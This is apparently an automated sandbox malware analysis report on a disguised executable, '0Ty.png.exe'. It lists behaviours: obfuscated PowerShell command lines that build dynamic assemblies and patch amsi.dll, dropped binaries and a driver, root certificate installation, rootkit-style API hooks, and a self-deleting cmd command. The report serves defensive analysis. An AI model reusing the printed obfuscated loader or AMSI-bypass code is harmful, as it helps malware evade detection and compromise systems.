Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll

Source: C:\Windows\System32\dialer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 0Ty.png.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 0Ty.png.exe

Static file information: File size 5457920 > 1048576

Source: 0Ty.png.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x526e00

Source: 0Ty.png.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer($GwiYeAsQvQLFBf,$JUWLrRiAryQvoCLvYRG).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$GgrwIxrHHM
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+'a'+[Char
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+'A'+'R'+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer($gtTuUeciWixJxL,$PODdpwJbLVAeqmqHxFL).Invoke(''+[Char](97)+''+[Char](109)+'si'+'.'+''+[Char](100)+'ll');$DyCMYouZARyvvTbwm=$BXLsZikXLBwiCU.Invoke($Null,@([Object]$DBzwtCM
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+''+[Char](101)+'l'+[Char](101)+''+'g'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+'a'+''+'l

Obfuscated command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:CKtjhrwjgtVV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OBERloAcZJvOcu,[Parameter(Position=1)][Type]$NRdDEuXiTK)$iAHAMhduySN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+'mor'+[Char](121)+''+[Char](77)+''+'o'+'dul'+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'De'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+'e'+''+[Char](84)+''+'y'+'p'+'e'+'',''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+'c,'+[Char](83)+'e'+'a'+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+'nsiC'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+'Cla'+'s'+''+'s'+'',[MulticastDelegate]);$iAHAMhduySN.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+'c'+[Char](105)+'a'+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OBERloAcZJvOcu).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'ged');$iAHAMhduySN.DefineMethod('I'+[Char](110)+'v'+'o'+''+[Char](107)+'e',''+[Char](80)+'ub'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+[Char](108)+'',$NRdDEuXiTK,$OBERloAcZJvOcu).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e'+','+''+[Char](77)+'anag'+'e'+''+'d'+'');Write-Output $iAHAMhduySN.CreateType();}$qragMIYqXnsdW=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+'te'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'os'+[Char](111)+'f'+'t'+''+[Char](46)+''+[Char](87)+''+'i'+'n3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'s'+[Char](97)+'f'+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'e'+[Char](116)+'ho'+[Char](100)+''+'s'+'');$OvDFGAtJneNnnn=$qragMIYqXnsdW.GetMethod(''+'G'+''+[Char](101)+'t'+'P'+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DwpcGqRaxEQb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kwrQxTwRDzvgHI,[Parameter(Position=1)][Type]$doUOZqbWki)$ZycFOOCRuuH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+''+[Char](101)+'l'+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+[Char](109)+'o'+[Char](114)+'y'+'M'+'o'+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+'ga'+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+'s'+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+'lass',[MulticastDelegate]);$ZycFOOCRuuH.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+'p'+'e'+'c'+''+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+'i'+'d'+[Char](101)+'B'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+','+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kwrQxTwRDzvgHI).SetImplementationFlags(''+'R'+''+'u'+'nt'+'i'+'m'+[Char](101)+','+'M'+''+'a'+''+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$ZycFOOCRuuH.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+''+'k'+''+'e'+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+'Sig'+','+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+'ir'+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$doUOZqbWki,$kwrQxTwRDzvgHI).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $ZycFOOCRuuH.CreateType();}$PIBnzpATGOiSb=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+[Char](109)+''+[Char](46)+'d'+'l'+'l')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+'o'+'s'+''+'o'+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+'in'+[Char](51)+''+[Char](50)+''+'.'+'Uns'+[Char](97)+''+[Char](102)+'e'+'N'+''+[Char](97)+'t'+'i'+''+[Char](118)+'eM'+[Char](101)+''+[Char]

Suspicious powershell command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:CKtjhrwjgtVV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OBERloAcZJvOcu,[Parameter(Position=1)][Type]$NRdDEuXiTK)$iAHAMhduySN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+'mor'+[Char](121)+''+[Char](77)+''+'o'+'dul'+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'De'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+'e'+''+[Char](84)+''+'y'+'p'+'e'+'',''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+'c,'+[Char](83)+'e'+'a'+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+'nsiC'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+'Cla'+'s'+''+'s'+'',[MulticastDelegate]);$iAHAMhduySN.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+'c'+[Char](105)+'a'+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OBERloAcZJvOcu).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'ged');$iAHAMhduySN.DefineMethod('I'+[Char](110)+'v'+'o'+''+[Char](107)+'e',''+[Char](80)+'ub'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+[Char](108)+'',$NRdDEuXiTK,$OBERloAcZJvOcu).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e'+','+''+[Char](77)+'anag'+'e'+''+'d'+'');Write-Output $iAHAMhduySN.CreateType();}$qragMIYqXnsdW=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+'te'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'os'+[Char](111)+'f'+'t'+''+[Char](46)+''+[Char](87)+''+'i'+'n3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'s'+[Char](97)+'f'+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'e'+[Char](116)+'ho'+[Char](100)+''+'s'+'');$OvDFGAtJneNnnn=$qragMIYqXnsdW.GetMethod(''+'G'+''+[Char](101)+'t'+'P'+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DwpcGqRaxEQb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kwrQxTwRDzvgHI,[Parameter(Position=1)][Type]$doUOZqbWki)$ZycFOOCRuuH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+''+[Char](101)+'l'+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+[Char](109)+'o'+[Char](114)+'y'+'M'+'o'+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+'ga'+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+'s'+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+'lass',[MulticastDelegate]);$ZycFOOCRuuH.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+'p'+'e'+'c'+''+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+'i'+'d'+[Char](101)+'B'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+','+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kwrQxTwRDzvgHI).SetImplementationFlags(''+'R'+''+'u'+'nt'+'i'+'m'+[Char](101)+','+'M'+''+'a'+''+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$ZycFOOCRuuH.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+''+'k'+''+'e'+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+'Sig'+','+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+'ir'+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$doUOZqbWki,$kwrQxTwRDzvgHI).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $ZycFOOCRuuH.CreateType();}$PIBnzpATGOiSb=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+[Char](109)+''+[Char](46)+'d'+'l'+'l')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+'o'+'s'+''+'o'+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+'in'+[Char](51)+''+[Char](50)+''+'.'+'Uns'+[Char](97)+''+[Char](102)+'e'+'N'+''+[Char](97)+'t'+'i'+''+[Char](118)+'eM'+[Char](101)+''+[Char]

Source: C:\Windows\System32\dialer.exe

Code function: 65_2_0000000140832D30 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

65_2_0000000140832D30

Source: 0Ty.png.exe	Static PE information: section name: .00cfg
Source: weiuemyrzjra.exe.0.dr	Static PE information: section name: .00cfg

Source: C:\Windows\System32\conhost.exe	Code function: 31_3_000002408995B0ED push rcx; retf 003Fh	31_3_000002408995B0EE
Source: C:\Windows\System32\dialer.exe	Code function: 64_2_0000000140001394 push qword ptr [0000000140009004h]; ret	64_2_0000000140001403
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 66_2_00007FFD9B8AB05C push esp; retf	66_2_00007FFD9B8AB05D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 66_2_00007FFD9B8A63D1 push ebx; retf 0009h	66_2_00007FFD9B8A641A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 66_2_00007FFD9BB2231A push 8B485F77h; iretd	66_2_00007FFD9BB22322
Source: C:\Windows\System32\conhost.exe	Code function: 67_3_0000014ECB48B0ED push rcx; retf 003Fh	67_3_0000014ECB48B0EE
Source: C:\Windows\System32\winlogon.exe	Code function: 69_3_00000225DC62B0ED push rcx; retf 003Fh	69_3_00000225DC62B0EE
Source: C:\Windows\System32\lsass.exe	Code function: 70_3_00000202C0ACB0ED push rcx; retf 003Fh	70_3_00000202C0ACB0EE
Source: C:\Windows\System32\svchost.exe	Code function: 71_3_000002A6612EB0ED push rcx; retf 003Fh	71_3_000002A6612EB0EE
Source: C:\Windows\System32\dwm.exe	Code function: 72_3_000002BAAEDEB0ED push rcx; retf 003Fh	72_3_000002BAAEDEB0EE
Source: C:\Windows\System32\dllhost.exe	Code function: 73_3_00000248FFB5B0ED push rcx; retf 003Fh	73_3_00000248FFB5B0EE

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob
Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Sample is not signed and drops a device driver

Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe

File created: C:\Windows\TEMP\ihddniqxcjeb.sys

Jump to behavior

Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	File created: C:\Windows\Temp\ihddniqxcjeb.sys			Jump to dropped file
Source: C:\Users\user\Desktop\0Ty.png.exe	File created: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe			Jump to dropped file

Source: C:\Users\user\Desktop\0Ty.png.exe

File created: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe

Jump to dropped file

Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe

File created: C:\Windows\Temp\ihddniqxcjeb.sys

Jump to dropped file

Source: C:\Users\user\Desktop\0Ty.png.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\0Ty.png.exe"
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\0Ty.png.exe"			Jump to behavior

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: png.exe

Static PE information: 0Ty.png.exe

Source: C:\Windows\System32\dialer.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE dialerstager

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
